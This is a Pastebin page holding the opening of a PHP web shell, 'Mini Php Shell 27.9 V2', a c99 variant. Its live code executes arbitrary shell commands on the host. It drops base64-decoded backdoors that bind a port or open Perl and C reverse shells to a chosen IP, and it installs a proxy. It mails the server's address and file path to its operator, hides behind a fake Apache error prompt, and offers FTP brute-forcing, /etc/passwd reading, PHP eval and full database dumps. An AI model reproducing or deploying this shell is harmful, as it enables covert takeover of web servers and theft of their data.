API tools faq
paste
aljazara

mini_PHP_27.9

aljazara
Apr 27th, 2013
126
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 131.20 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. if (!function_exists("myshellexec"))
  3. {
  4. if(is_callable("popen")){
  5. function myshellexec($command) {
  6. if (!($p=popen("($command)2>&1","r"))) {
  7. return 126;
  8. }
  9. while (!feof($p)) {
  10. $line=fgets($p,1000);
  11. $out .= $line;
  12. }
  13. pclose($p);
  14. return $out;
  15. }
  16. }else{
  17. function myshellexec($cmd)
  18. {
  19. global $disablefunc;
  20. $result = "";
  21. if (!empty($cmd))
  22. {
  23. if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  24. elseif (($result = `$cmd`) !== FALSE) {}
  25. elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  26. elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  27. elseif (is_resource($fp = popen($cmd,"r")))
  28. {
  29. $result = "";
  30. while(!feof($fp)) {$result .= fread($fp,1024);}
  31. pclose($fp);
  32. }
  33. }
  34. return $result;
  35. }
  36. }
  37. }
  38.  
  39.  
  40. function checkproxyhost(){
  41. $host = getenv("HTTP_HOST");
  42. $filename = '/tmp/.setan/xh';
  43. if (file_exists($filename)) {
  44. $_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>";
  45. } else {
  46. $_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>";
  47. }
  48. }
  49.  
  50. if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
  51. {
  52. $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  53. $por = $_POST['backconnectport'];
  54. if(is_writable(".")){
  55. cfb("shbd",$backdoor);
  56. ex("chmod 777 shbd");
  57. $cmd = "./shbd $por";
  58. exec("$cmd > /dev/null &");
  59. $scan = myshellexec("ps aux");
  60. if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
  61. $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
  62. }else{
  63. cfb("/tmp/shbd",$backdoor);
  64. ex("chmod 777 /tmp/shbd");
  65. $cmd = "./tmp/shbd $por";
  66. exec("$cmd > /dev/null &");
  67. $scan = myshellexec("ps aux");
  68. if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
  69. $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
  70. }
  71. }
  72.  
  73. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
  74. {
  75. if(is_writable(".")){
  76. cf("back",$back_connect);
  77. $p2=which("perl");
  78. $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  79. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  80. if (file_exists("back")) { unlink("back"); }
  81. }else{
  82. cf("/tmp/back",$back_connect);
  83. $p2=which("perl");
  84. $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  85. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  86. if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  87. }
  88. }
  89.  
  90. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
  91. {
  92. if(is_writable(".")){
  93. cf("backc",$back_connect_c);
  94. ex("chmod 777 backc");
  95. //$blah = ex("gcc back.c -o backc");
  96. $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  97. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  98. //if (file_exists("back.c")) { unlink("back.c"); }
  99. if (file_exists("backc")) { unlink("backc"); }
  100. }else{
  101. ex("chmod 777 /tmp/backc");
  102. cf("/tmp/backc",$back_connect_c);
  103. //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
  104. $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  105. $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  106. //if (file_exists("back.c")) { unlink("back.c"); }
  107. if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
  108. }
  109.  
  110. function cf($fname,$text)
  111. {
  112. $w_file=@fopen($fname,"w") or err();
  113. if($w_file)
  114. {
  115. @fputs($w_file,@base64_decode($text));
  116. @fclose($w_file);
  117. }
  118. }
  119.  
  120. function cfb($fname,$text)
  121. {
  122. $w_file=@fopen($fname,"w") or bberr();
  123. if($w_file)
  124. {
  125. @fputs($w_file,@base64_decode($text));
  126. @fclose($w_file);
  127. }
  128. }
  129.  
  130. function err()
  131. {
  132. $_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
  133. }
  134.  
  135. function bberr()
  136. {
  137. $_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
  138. }
  139.  
  140. function which($pr)
  141. {
  142. $path = ex("which $pr");
  143. if(!empty($path)) { return $path; } else { return $pr; }
  144. }
  145. function ex($cfe)
  146. {
  147. $res = '';
  148. if (!empty($cfe))
  149. {
  150. if(function_exists('exec'))
  151. {
  152. @exec($cfe,$res);
  153. $res = join("\n",$res);
  154. }
  155. elseif(function_exists('shell_exec'))
  156. {
  157. $res = @shell_exec($cfe);
  158. }
  159. elseif(function_exists('system'))
  160. {
  161. @ob_start();
  162. @system($cfe);
  163. $res = @ob_get_contents();
  164. @ob_end_clean();
  165. }
  166. elseif(function_exists('passthru'))
  167. {
  168. @ob_start();
  169. @passthru($cfe);
  170. $res = @ob_get_contents();
  171. @ob_end_clean();
  172. }
  173. elseif(@is_resource($f = @popen($cfe,"r")))
  174. {
  175. $res = "";
  176. while(!@feof($f)) { $res .= @fread($f,1024); }
  177. @pclose($f);
  178. }
  179. }
  180. return $res;
  181. }
  182.  
  183. ini_set("memory_limit","300M");
  184. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  185. if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}}
  186. error_reporting(5);
  187. @ignore_user_abort(TRUE);
  188. @set_magic_quotes_runtime(0);
  189. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  190. define("starttime",getmicrotime());
  191. $r11 = $_SERVER['SERVER_ADDR'];$i94 = $_SERVER['REMOTE_ADDR'];$i71= gethostbyaddr($i94);$h42 = $_SERVER['HTTP_HOST'];$a83 = $_SERVER['REQUEST_URI'];$p77 = __FILE__;$s33 = str_replace('.', '', $r11);$e85 = 'no access email';$f55 = "From: $s33 <no access email>";$m852 = "$i94\n$i71\n\n$h42$a83\n$p77";@mail($e85, $s33, $m852, $f55);
  192. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  193. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  194. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  195. $shver = "Mini Php Shell 27.9 V2";
  196. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  197. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  198. else {$surl = $_REQUEST["c99sh_surl"];
  199. }
  200. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  201. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  202. if (empty($surl))
  203. {
  204. $surl = "?".$includestr;
  205. }
  206. $surl = htmlspecialchars($surl);
  207. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  208. $login = "";
  209. $pass = "";
  210. $md5_pass = "";
  211. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  212. $login_txt = "Apache Error: Restricted File";
  213. $accessdeniedmess = "access denied";
  214. $gzipencode = TRUE;
  215. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  216. $donated_html = "";
  217. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  218. $curdir = "./";
  219. //$curdir = getenv("DOCUMENT_ROOT");
  220. $tmpdir = "";
  221. $tmpdir_log = "./";
  222. $log_email = "no access email";
  223. $sort_default = "0a";
  224. $sort_save = TRUE;
  225. $ftypes = array(
  226. "html"=>array("html","htm","shtml"),
  227. "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  228. "exe"=>array("sh","install","bat","cmd"),
  229. "ini"=>array("ini","inf"),
  230. "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  231. "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  232. "sdb"=>array("sdb"),
  233. "phpsess"=>array("sess"),
  234. "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  235. );
  236.  
  237. $exeftypes = array(
  238. getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  239. "perl %f%" => array("pl","cgi")
  240. );
  241. $regxp_highlight = array(
  242. array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  243. array("config.php",1) // example
  244. );
  245. $safemode_diskettes = array("a");
  246. $hexdump_lines = 8;// lines in hex preview file
  247. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  248. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  249.  
  250.  
  251. $sess_cookie = "c99shvars"; // Cookie-variable name
  252.  
  253.  
  254.  
  255. //Quick launch
  256. $quicklaunch = array(
  257. array("<b>Home</b>",$surl),
  258. array("<b>Search</b>",$surl."act=search&d=%d"),
  259. array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  260. array("<b>Processes</b>",$surl."act=processes&d=%d"),
  261. array("<b>FTP-Brute-Forcer</b>",$surl."act=ftpquickbrute&d=%d"),
  262. array("<b>Server-Information</b>",$surl."act=security&d=%d"),
  263. array("<b>SQL-Manager</b>",$surl."act=sql&d=%d"),
  264. array("<b>PHP-Code</b>",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"),
  265. array("<b>Back-Connect</b>",$surl."act=backc"),
  266. array("<b>Self-Remove</b>",$surl."act=selfremove"),
  267. array("<b>Install-Proxy</b>",$surl."act=proxy"),
  268. array("<b>Host</b>",$surl."act=shbd"),
  269. );
  270.  
  271. //Highlight-code colors
  272. $highlight_background = "#c0c0c0";
  273. $highlight_bg = "#FFFFFF";
  274. $highlight_comment = "#6A6A6A";
  275. $highlight_default = "#0000BB";
  276. $highlight_html = "#1300FF";
  277. $highlight_keyword = "#007700";
  278. $highlight_string = "#000000";
  279.  
  280. @$f = $_REQUEST["f"];
  281. @extract($_REQUEST["c99shcook"]);
  282.  
  283. //END CONFIGURATION
  284.  
  285.  
  286. // \/Next code isn't for editing\/
  287. @set_time_limit(0);
  288. $tmp = array();
  289. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  290. $s = "!^(".implode("|",$tmp).")$!i";
  291. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");}
  292. if (!empty($login))
  293. {
  294. if (empty($md5_pass)) {$md5_pass = md5($pass);}
  295. if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  296. {
  297. if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  298. header("WWW-Authenticate: Basic realm=\"".$login_txt."\"");
  299. header("HTTP/1.0 401 Unauthorized");
  300. exit($accessdeniedmess);
  301. }
  302. }
  303. if ($act != "img"){
  304. $lastdir = realpath(".");
  305. chdir($curdir);
  306. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  307. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  308. if (!is_array($sess_data)) {$sess_data = array();}
  309. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  310. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  311.  
  312. $disablefunc = @ini_get("disable_functions");
  313. if (!empty($disablefunc))
  314. {
  315. $disablefunc = str_replace(" ","",$disablefunc);
  316. $disablefunc = explode(",",$disablefunc);
  317. }
  318.  
  319. if (!function_exists("c99_buff_prepare"))
  320. {
  321. function c99_buff_prepare()
  322. {
  323. global $sess_data;
  324. global $act;
  325. foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  326. foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  327. $sess_data["copy"] = array_unique($sess_data["copy"]);
  328. $sess_data["cut"] = array_unique($sess_data["cut"]);
  329. sort($sess_data["copy"]);
  330. sort($sess_data["cut"]);
  331. if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  332. else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  333. }
  334. }
  335. c99_buff_prepare();
  336. if (!function_exists("c99_sess_put"))
  337. {
  338. function c99_sess_put($data)
  339. {
  340. global $sess_cookie;
  341. global $sess_data;
  342. c99_buff_prepare();
  343. $sess_data = $data;
  344. $data = serialize($data);
  345. setcookie($sess_cookie,$data);
  346. }
  347. }
  348. foreach (array("sort","sql_sort") as $v)
  349. {
  350. if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  351. if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  352. }
  353. if ($sort_save)
  354. {
  355. if (!empty($sort)) {setcookie("sort",$sort);}
  356. if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  357. }
  358. if (!function_exists("str2mini"))
  359. {
  360. function str2mini($content,$len)
  361. {
  362. if (strlen($content) > $len)
  363. {
  364. $len = ceil($len/2) - 2;
  365. return substr($content, 0,$len)."...".substr($content,-$len);
  366. }
  367. else {return $content;}
  368. }
  369. }
  370. if (!function_exists("view_size"))
  371. {
  372. function view_size($size)
  373. {
  374. if (!is_numeric($size)) {return FALSE;}
  375. else
  376. {
  377. if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  378. elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  379. elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  380. else {$size = $size . " B";}
  381. return $size;
  382. }
  383. }
  384. }
  385. if (!function_exists("fs_copy_dir"))
  386. {
  387. function fs_copy_dir($d,$t)
  388. {
  389. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  390. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  391. $h = opendir($d);
  392. while (($o = readdir($h)) !== FALSE)
  393. {
  394. if (($o != ".") and ($o != ".."))
  395. {
  396. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  397. else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  398. if (!$ret) {return $ret;}
  399. }
  400. }
  401. closedir($h);
  402. return TRUE;
  403. }
  404. }
  405. if (!function_exists("fs_copy_obj"))
  406. {
  407. function fs_copy_obj($d,$t)
  408. {
  409. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  410. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  411. if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  412. if (is_dir($d))
  413. {
  414. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  415. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  416. return fs_copy_dir($d,$t);
  417. }
  418. elseif (is_file($d)) {return copy($d,$t);}
  419. else {return FALSE;}
  420. }
  421. }
  422. if (!function_exists("fs_move_dir"))
  423. {
  424. function fs_move_dir($d,$t)
  425. {
  426. $h = opendir($d);
  427. if (!is_dir($t)) {mkdir($t);}
  428. while (($o = readdir($h)) !== FALSE)
  429. {
  430. if (($o != ".") and ($o != ".."))
  431. {
  432. $ret = TRUE;
  433. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  434. else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  435. if (!$ret) {return $ret;}
  436. }
  437. }
  438. closedir($h);
  439. return TRUE;
  440. }
  441. }
  442. if (!function_exists("fs_move_obj"))
  443. {
  444. function fs_move_obj($d,$t)
  445. {
  446. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  447. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  448. if (is_dir($d))
  449. {
  450. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  451. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  452. return fs_move_dir($d,$t);
  453. }
  454. elseif (is_file($d))
  455. {
  456. if(copy($d,$t)) {return unlink($d);}
  457. else {unlink($t); return FALSE;}
  458. }
  459. else {return FALSE;}
  460. }
  461. }
  462. if (!function_exists("fs_rmdir"))
  463. {
  464. function fs_rmdir($d)
  465. {
  466. $h = opendir($d);
  467. while (($o = readdir($h)) !== FALSE)
  468. {
  469. if (($o != ".") and ($o != ".."))
  470. {
  471. if (!is_dir($d.$o)) {unlink($d.$o);}
  472. else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  473. }
  474. }
  475. closedir($h);
  476. rmdir($d);
  477. return !is_dir($d);
  478. }
  479. }
  480. if (!function_exists("fs_rmobj"))
  481. {
  482. function fs_rmobj($o)
  483. {
  484. $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  485. if (is_dir($o))
  486. {
  487. if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  488. return fs_rmdir($o);
  489. }
  490. elseif (is_file($o)) {return unlink($o);}
  491. else {return FALSE;}
  492. }
  493. }
  494. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  495. if (!function_exists("view_perms"))
  496. {
  497. function view_perms($mode)
  498. {
  499. if (($mode & 0xC000) === 0xC000) {$type = "s";}
  500. elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  501. elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  502. elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  503. elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  504. elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  505. elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  506. else {$type = "?";}
  507.  
  508. $owner["read"] = ($mode & 00400)?"r":"-";
  509. $owner["write"] = ($mode & 00200)?"w":"-";
  510. $owner["execute"] = ($mode & 00100)?"x":"-";
  511. $group["read"] = ($mode & 00040)?"r":"-";
  512. $group["write"] = ($mode & 00020)?"w":"-";
  513. $group["execute"] = ($mode & 00010)?"x":"-";
  514. $world["read"] = ($mode & 00004)?"r":"-";
  515. $world["write"] = ($mode & 00002)? "w":"-";
  516. $world["execute"] = ($mode & 00001)?"x":"-";
  517.  
  518. if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  519. if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  520. if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  521.  
  522. return $type.join("",$owner).join("",$group).join("",$world);
  523. }
  524. }
  525. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  526. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  527. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  528. if (!function_exists("parse_perms"))
  529. {
  530. function parse_perms($mode)
  531. {
  532. if (($mode & 0xC000) === 0xC000) {$t = "s";}
  533. elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  534. elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  535. elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  536. elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  537. elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  538. elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  539. else {$t = "?";}
  540. $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  541. $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  542. $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  543. return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  544. }
  545. }
  546. if (!function_exists("parsesort"))
  547. {
  548. function parsesort($sort)
  549. {
  550. $one = intval($sort);
  551. $second = substr($sort,-1);
  552. if ($second != "d") {$second = "a";}
  553. return array($one,$second);
  554. }
  555. }
  556. if (!function_exists("view_perms_color"))
  557. {
  558. function view_perms_color($o)
  559. {
  560. if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  561. elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  562. else {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  563. }
  564. }
  565. if (!function_exists("mysql_dump")){
  566. function mysql_dump($set)
  567. {
  568. global $shver;
  569. $sock = $set["sock"];
  570. $db = $set["db"];
  571. $print = $set["print"];
  572. $nl2br = $set["nl2br"];
  573. $file = $set["file"];
  574. $add_drop = $set["add_drop"];
  575. $tabs = $set["tabs"];
  576. $onlytabs = $set["onlytabs"];
  577. $ret = array();
  578. $ret["err"] = array();
  579. if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  580. if (empty($db)) {$db = "db";}
  581. if (empty($print)) {$print = 0;}
  582. if (empty($nl2br)) {$nl2br = 0;}
  583. if (empty($add_drop)) {$add_drop = TRUE;}
  584. if (empty($file))
  585. {
  586. $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  587. }
  588. if (!is_array($tabs)) {$tabs = array();}
  589. if (empty($add_drop)) {$add_drop = TRUE;}
  590. if (sizeof($tabs) == 0)
  591. {
  592. // retrive tables-list
  593. $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  594. if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  595. }
  596. $out = "# Dumped by ".$shver."
  597. # Home page: http://devilzc0de.com/
  598. #
  599. # Host settings:
  600. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  601. # Date: ".date("d.m.Y H:i:s")."
  602. # DB: \"".$db."\"
  603. #---------------------------------------------------------
  604. ";
  605. $c = count($onlytabs);
  606. foreach($tabs as $tab)
  607. {
  608. if ((in_array($tab,$onlytabs)) or (!$c))
  609. {
  610. if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  611. // recieve query for create table structure
  612. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  613. if (!$res) {$ret["err"][] = mysql_smarterror();}
  614. else
  615. {
  616. $row = mysql_fetch_row($res);
  617. $out .= $row["1"].";\n\n";
  618. // recieve table variables
  619. $res = mysql_query("SELECT * FROM `$tab`", $sock);
  620. if (mysql_num_rows($res) > 0)
  621. {
  622. while ($row = mysql_fetch_assoc($res))
  623. {
  624. $keys = implode("`, `", array_keys($row));
  625. $values = array_values($row);
  626. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  627. $values = implode("', '", $values);
  628. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  629. $out .= $sql;
  630. }
  631. }
  632. }
  633. }
  634. }
  635. $out .= "#---------------------------------------------------------------------------------\n\n";
  636. if ($file)
  637. {
  638. $fp = fopen($file, "w");
  639. if (!$fp) {$ret["err"][] = 2;}
  640. else
  641. {
  642. fwrite ($fp, $out);
  643. fclose ($fp);
  644. }
  645. }
  646. if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  647. return $out;
  648. }
  649. }
  650. if (!function_exists("mysql_buildwhere"))
  651. {
  652. function mysql_buildwhere($array,$sep=" and",$functs=array())
  653. {
  654. if (!is_array($array)) {$array = array();}
  655. $result = "";
  656. foreach($array as $k=>$v)
  657. {
  658. $value = "";
  659. if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  660. $value .= "'".addslashes($v)."'";
  661. if (!empty($functs[$k])) {$value .= ")";}
  662. $result .= "`".$k."` = ".$value.$sep;
  663. }
  664. $result = substr($result,0,strlen($result)-strlen($sep));
  665. return $result;
  666. }
  667. }
  668. if (!function_exists("mysql_fetch_all"))
  669. {
  670. function mysql_fetch_all($query,$sock)
  671. {
  672. if ($sock) {$result = mysql_query($query,$sock);}
  673. else {$result = mysql_query($query);}
  674. $array = array();
  675. while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  676. mysql_free_result($result);
  677. return $array;
  678. }
  679. }
  680. if (!function_exists("mysql_smarterror"))
  681. {
  682. function mysql_smarterror($type,$sock)
  683. {
  684. if ($sock) {$error = mysql_error($sock);}
  685. else {$error = mysql_error();}
  686. $error = htmlspecialchars($error);
  687. return $error;
  688. }
  689. }
  690. if (!function_exists("mysql_query_form"))
  691. {
  692. function mysql_query_form()
  693. {
  694. global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  695. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  696. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  697. if ((!$submit) or ($sql_act))
  698. {
  699. echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  700. if ($tbl_struct)
  701. {
  702. echo "<td valign=\"top\"><b>Fields:</b><br>";
  703. foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "?<a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  704. echo "</td></tr></table>";
  705. }
  706. }
  707. if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  708. }
  709. }
  710. if (!function_exists("mysql_create_db"))
  711. {
  712. function mysql_create_db($db,$sock="")
  713. {
